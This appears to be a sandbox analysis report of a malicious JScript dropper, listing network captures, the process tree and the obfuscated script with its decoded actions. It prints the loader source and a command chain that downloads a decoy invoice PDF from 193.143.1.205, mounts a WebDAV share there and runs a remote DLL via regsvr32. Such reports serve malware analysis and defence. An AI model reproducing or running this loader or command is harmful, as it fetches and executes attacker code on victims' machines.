Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:19:13.730928898 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:19:14.513343096 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:19:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:19:14.513359070 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:19:14.513371944 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:19:14.513385057 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 17:19:14.513397932 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 17:19:14.513403893 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 17:19:14.513411045 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 17:19:14.513425112 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 17:19:14.513437986 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 17:19:14.513451099 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 17:19:14.565455914 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49757	193.143.1.205	8888	8016	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:19:15.967278004 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:19:16.750498056 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:19:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:19:09
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js"
Imagebase:	0x7ff619140000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:19:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll
Imagebase:	0x7ff6ea2d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:19:09
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:19:09
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:19:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:19:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ea2d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:19:14
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff71e420000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:19:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:19:15
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:19:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1752,i,13136889810547784429,7287884060939422438,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wkuakwk() {	wkuakwk() ➔ undefined
1	ypxalfd = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fenrcgp = this[vqrnkfwwt + hkofyo + dsfegrv + qgggle + gmgka + ajnlt + vjflr + dhbuewcy] ( this[yevlncg + ramqshhgh + ujcpmjxt + dsfegrv + yquoyqy + vqrnkfwwt + dhbuewcy][eyececpfe + dsfegrv + gmgka + hkofyo + dhbuewcy + gmgka + bwqxry + xmeflyk + kehaxppp + gmgka + ujcpmjxt + dhbuewcy] ( yevlncg + ramqshhgh + ujcpmjxt + dsfegrv + yquoyqy + vqrnkfwwt + dhbuewcy + diqxznyy + ramqshhgh + ayziz + gmgka + thxmkytlv + thxmkytlv ) [tahigq + gmgka + iwbxzbqsz + tahigq + gmgka + hkofyo + oynitiwg] ( ikjltdgl + ohgloacg + duamy + bwijuff + eouhhjj + eyececpfe + ylepyn + tahigq + tahigq + duamy + oryoaozzf + nykhsz + eouhhjj + ylepyn + ramqshhgh + duamy + tahigq + fcdgpdlbo + eyececpfe + rrwexoay + vjflr + dhbuewcy + dsfegrv + rrwexoay + thxmkytlv + fywatarnh + kwnoznjg + hkofyo + vjflr + gmgka + thxmkytlv + fcdgpdlbo + ajnlt + vjflr + dhbuewcy + gmgka + dsfegrv + vjflr + hkofyo + dhbuewcy + yquoyqy + rrwexoay + vjflr + hkofyo + thxmkytlv + fcdgpdlbo + fxsfed + rrwexoay + ujcpmjxt + hkofyo + thxmkytlv + gmgka ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ltqgghsed = 0 ; ltqgghsed < ypxalfd[thxmkytlv + gmgka + vjflr + iwbxzbqsz + dhbuewcy + ayziz] ; ++ ltqgghsed )
4	{
5	if ( fenrcgp == ypxalfd[ltqgghsed] )
6	{
7	fenrcgp = true;
8	break ;
9	}
10	}
11	if ( fenrcgp !== true )
12	this[yevlncg + ramqshhgh + ujcpmjxt + dsfegrv + yquoyqy + vqrnkfwwt + dhbuewcy][xqjtp + riubog + yquoyqy + dhbuewcy] ( );
13	this[yevlncg + ramqshhgh + ujcpmjxt + dsfegrv + yquoyqy + vqrnkfwwt + dhbuewcy][eyececpfe + dsfegrv + gmgka + hkofyo + dhbuewcy + gmgka + bwqxry + xmeflyk + kehaxppp + gmgka + ujcpmjxt + dhbuewcy] ( yevlncg + ramqshhgh + ujcpmjxt + dsfegrv + yquoyqy + vqrnkfwwt + dhbuewcy + diqxznyy + ramqshhgh + ayziz + gmgka + thxmkytlv + thxmkytlv ) [dsfegrv + riubog + vjflr] ( ujcpmjxt + mhpdazbeq + oynitiwg + fywatarnh + xljmojlnd + ujcpmjxt + fywatarnh + vqrnkfwwt + rrwexoay + mjdyqnfji + gmgka + dsfegrv + qgggle + ayziz + gmgka + thxmkytlv + thxmkytlv + diqxznyy + gmgka + nurbdfn + gmgka + fywatarnh + okslx + eyececpfe + rrwexoay + mhpdazbeq + mhpdazbeq + hkofyo + vjflr + oynitiwg + fywatarnh + vdcvjivav + ajnlt + vjflr + zrtabf + rrwexoay + tgpqnnwm + gmgka + okslx + yevlncg + gmgka + xmeflyk + tahigq + gmgka + fjvbfa + riubog + gmgka + qgggle + dhbuewcy + fywatarnh + okslx + bwqxry + riubog + dhbuewcy + lohzmsifj + yquoyqy + thxmkytlv + gmgka + fywatarnh + qyzriiiei + dhbuewcy + gmgka + mhpdazbeq + vqrnkfwwt + qyzriiiei + fcdgpdlbo + yquoyqy + vjflr + zrtabf + rrwexoay + yquoyqy + ujcpmjxt + gmgka + diqxznyy + vqrnkfwwt + oynitiwg + zkjrl + fywatarnh + ayziz + dhbuewcy + dhbuewcy + vqrnkfwwt + rzrtpa + xljmojlnd + xljmojlnd + jmajhnpm + vlemevqr + mtiujzo + diqxznyy + jmajhnpm + usycu + mtiujzo + diqxznyy + jmajhnpm + diqxznyy + kxkchdr + zjhutfmi + crhps + xljmojlnd + yquoyqy + vjflr + zrtabf + rrwexoay + yquoyqy + ujcpmjxt + gmgka + diqxznyy + vqrnkfwwt + ayziz + vqrnkfwwt + vdcvjivav + dysgs + dysgs + qgggle + dhbuewcy + hkofyo + dsfegrv + dhbuewcy + fywatarnh + qyzriiiei + dhbuewcy + gmgka + mhpdazbeq + vqrnkfwwt + qyzriiiei + fcdgpdlbo + yquoyqy + vjflr + zrtabf + rrwexoay + yquoyqy + ujcpmjxt + gmgka + diqxznyy + vqrnkfwwt + oynitiwg + zkjrl + dysgs + dysgs + ujcpmjxt + mhpdazbeq + oynitiwg + fywatarnh + xljmojlnd + ujcpmjxt + fywatarnh + vjflr + gmgka + dhbuewcy + fywatarnh + riubog + qgggle + gmgka + fywatarnh + fcdgpdlbo + fcdgpdlbo + jmajhnpm + vlemevqr + mtiujzo + diqxznyy + jmajhnpm + usycu + mtiujzo + diqxznyy + jmajhnpm + diqxznyy + kxkchdr + zjhutfmi + crhps + hnvwd + vpipbs + vpipbs + vpipbs + vpipbs + fcdgpdlbo + oynitiwg + hkofyo + zrtabf + mjdyqnfji + mjdyqnfji + mjdyqnfji + dsfegrv + rrwexoay + rrwexoay + dhbuewcy + fcdgpdlbo + dysgs + dysgs + ujcpmjxt + mhpdazbeq + oynitiwg + fywatarnh + xljmojlnd + ujcpmjxt + fywatarnh + dsfegrv + gmgka + iwbxzbqsz + qgggle + zrtabf + dsfegrv + mtiujzo + kxkchdr + fywatarnh + xljmojlnd + qgggle + fywatarnh + fcdgpdlbo + fcdgpdlbo + jmajhnpm + vlemevqr + mtiujzo + diqxznyy + jmajhnpm + usycu + mtiujzo + diqxznyy + jmajhnpm + diqxznyy + kxkchdr + zjhutfmi + crhps + hnvwd + vpipbs + vpipbs + vpipbs + vpipbs + fcdgpdlbo + oynitiwg + hkofyo + zrtabf + mjdyqnfji + mjdyqnfji + mjdyqnfji + dsfegrv + rrwexoay + rrwexoay + dhbuewcy + fcdgpdlbo + kxkchdr + vpipbs + vlemevqr + kmjmngxx + vlemevqr + jmajhnpm + mtiujzo + kxkchdr + mtiujzo + kxkchdr + zjhutfmi + kmjmngxx + jmajhnpm + crhps + diqxznyy + oynitiwg + thxmkytlv + thxmkytlv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll",0,false) ➔ 0
14	}
15	qyzriiiei = "A";
16	qyzriiiei = "q";
17	qyzriiiei = "x";
18	qyzriiiei = "t";
19	qyzriiiei = "h";
20	qyzriiiei = "V";
21	qyzriiiei = "Z";
22	qyzriiiei = "T";
23	qyzriiiei = "c";
24	qyzriiiei = "Y";
25	qyzriiiei = "p";
26	qyzriiiei = "w";
27	qyzriiiei = "y";
28	qyzriiiei = "i";
29	qyzriiiei = "z";
30	qyzriiiei = "D";
31	qyzriiiei = "J";
32	qyzriiiei = "A";
33	qyzriiiei = "Z";
34	qyzriiiei = "K";
35	qyzriiiei = "r";
36	qyzriiiei = "N";
37	qyzriiiei = "Y";
38	qyzriiiei = "N";
39	qyzriiiei = "S";
40	qyzriiiei = "A";
41	qyzriiiei = "D";
42	qyzriiiei = "T";
43	qyzriiiei = "%";
44	gmgka = "v";
45	gmgka = "P";
46	gmgka = "k";
47	gmgka = "z";
48	gmgka = "E";
49	gmgka = "T";
50	gmgka = "L";
51	gmgka = "k";
52	gmgka = "h";
53	gmgka = "H";
54	gmgka = "f";
55	gmgka = "R";
56	gmgka = "u";
57	gmgka = "V";
58	gmgka = "y";
59	gmgka = "y";
60	gmgka = "D";
61	gmgka = "c";
62	gmgka = "B";
63	gmgka = "n";
64	gmgka = "e";
65	zkjrl = "f";
66	xqjtp = "Q";
67	mhpdazbeq = "J";
68	mhpdazbeq = "S";
69	mhpdazbeq = "t";
70	mhpdazbeq = "m";
71	mhpdazbeq = "r";
72	mhpdazbeq = "o";
73	mhpdazbeq = "h";
74	mhpdazbeq = "s";
75	mhpdazbeq = "k";
76	mhpdazbeq = "C";
77	mhpdazbeq = "U";
78	mhpdazbeq = "U";
79	mhpdazbeq = "T";
80	mhpdazbeq = "o";
81	mhpdazbeq = "f";
82	mhpdazbeq = "H";
83	mhpdazbeq = "f";
84	mhpdazbeq = "l";
85	mhpdazbeq = "T";
86	mhpdazbeq = "E";
87	mhpdazbeq = "s";
88	mhpdazbeq = "K";
89	mhpdazbeq = "u";
90	mhpdazbeq = "O";
91	mhpdazbeq = "W";
92	mhpdazbeq = "z";
93	mhpdazbeq = "q";
94	mhpdazbeq = "r";
95	mhpdazbeq = "y";
96	mhpdazbeq = "W";
97	mhpdazbeq = "S";
98	mhpdazbeq = "o";
99	mhpdazbeq = "O";
100	mhpdazbeq = "r";
101	mhpdazbeq = "S";
102	mhpdazbeq = "t";
103	mhpdazbeq = "w";
104	mhpdazbeq = "m";
105	ikjltdgl = "e";
106	ikjltdgl = "T";
107	ikjltdgl = "R";
108	ikjltdgl = "u";
109	ikjltdgl = "V";
110	ikjltdgl = "r";
111	ikjltdgl = "K";
112	ikjltdgl = "Q";
113	ikjltdgl = "o";
114	ikjltdgl = "o";
115	ikjltdgl = "y";
116	ikjltdgl = "Q";
117	ikjltdgl = "H";
118	rrwexoay = "C";
119	rrwexoay = "U";
120	rrwexoay = "s";
121	rrwexoay = "t";
122	rrwexoay = "j";
123	rrwexoay = "I";
124	rrwexoay = "i";
125	rrwexoay = "A";
126	rrwexoay = "j";
127	rrwexoay = "g";
128	rrwexoay = "E";
129	rrwexoay = "e";
130	rrwexoay = "W";
131	rrwexoay = "x";
132	rrwexoay = "X";
133	rrwexoay = "o";
134	qgggle = "T";
135	qgggle = "z";
136	qgggle = "y";
137	qgggle = "C";
138	qgggle = "g";
139	qgggle = "X";
140	qgggle = "k";
141	qgggle = "C";
142	qgggle = "v";
143	qgggle = "E";
144	qgggle = "N";
145	qgggle = "J";
146	qgggle = "k";
147	qgggle = "Q";
148	qgggle = "J";
149	qgggle = "o";
150	qgggle = "s";
151	qgggle = "q";
152	qgggle = "s";
153	qgggle = "G";
154	qgggle = "N";
155	qgggle = "X";
156	qgggle = "g";
157	qgggle = "J";
158	qgggle = "n";
159	qgggle = "i";
160	qgggle = "P";
161	qgggle = "r";
162	qgggle = "s";
163	duamy = "I";
164	duamy = "M";
165	duamy = "N";
166	duamy = "B";
167	duamy = "O";
168	duamy = "c";
169	duamy = "B";
170	duamy = "P";
171	duamy = "f";
172	duamy = "m";
173	duamy = "y";
174	duamy = "f";
175	duamy = "I";
176	duamy = "F";
177	duamy = "r";
178	duamy = "Z";
179	duamy = "o";
180	duamy = "x";
181	duamy = "l";
182	duamy = "a";
183	duamy = "Z";
184	duamy = "y";
185	duamy = "N";
186	duamy = "q";
187	duamy = "R";
188	duamy = "w";
189	duamy = "b";
190	duamy = "F";
191	duamy = "w";
192	duamy = "C";
193	duamy = "C";
194	duamy = "U";
195	duamy = "x";
196	duamy = "n";
197	duamy = "E";
198	zjhutfmi = "A";
199	zjhutfmi = "a";
200	zjhutfmi = "0";
201	mjdyqnfji = "z";
202	mjdyqnfji = "a";
203	mjdyqnfji = "j";
204	mjdyqnfji = "Q";
205	mjdyqnfji = "e";
206	mjdyqnfji = "i";
207	mjdyqnfji = "K";
208	mjdyqnfji = "G";
209	mjdyqnfji = "W";
210	mjdyqnfji = "N";
211	mjdyqnfji = "k";
212	mjdyqnfji = "U";
213	mjdyqnfji = "z";
214	mjdyqnfji = "r";
215	mjdyqnfji = "s";
216	mjdyqnfji = "Y";
217	mjdyqnfji = "Y";
218	mjdyqnfji = "y";
219	mjdyqnfji = "F";
220	mjdyqnfji = "i";
221	mjdyqnfji = "U";
222	mjdyqnfji = "E";
223	mjdyqnfji = "O";
224	mjdyqnfji = "g";
225	mjdyqnfji = "x";
226	mjdyqnfji = "v";
227	mjdyqnfji = "c";
228	mjdyqnfji = "J";
229	mjdyqnfji = "C";
230	mjdyqnfji = "p";
231	mjdyqnfji = "S";
232	mjdyqnfji = "r";
233	mjdyqnfji = "R";
234	mjdyqnfji = "d";
235	mjdyqnfji = "X";
236	mjdyqnfji = "y";
237	mjdyqnfji = "d";
238	mjdyqnfji = "a";
239	mjdyqnfji = "F";
240	mjdyqnfji = "u";
241	mjdyqnfji = "m";
242	mjdyqnfji = "Y";
243	mjdyqnfji = "j";
244	mjdyqnfji = "s";
245	mjdyqnfji = "w";
246	kmjmngxx = "v";
247	kmjmngxx = "d";
248	kmjmngxx = "P";
249	kmjmngxx = "x";
250	kmjmngxx = "U";
251	kmjmngxx = "F";
252	kmjmngxx = "r";
253	kmjmngxx = "D";
254	kmjmngxx = "v";
255	kmjmngxx = "E";
256	kmjmngxx = "u";
257	kmjmngxx = "B";
258	kmjmngxx = "K";
259	kmjmngxx = "c";
260	kmjmngxx = "b";
261	kmjmngxx = "i";
262	kmjmngxx = "R";
263	kmjmngxx = "V";
264	kmjmngxx = "x";
265	kmjmngxx = "f";
266	kmjmngxx = "R";
267	kmjmngxx = "n";
268	kmjmngxx = "N";
269	kmjmngxx = "c";
270	kmjmngxx = "M";
271	kmjmngxx = "b";
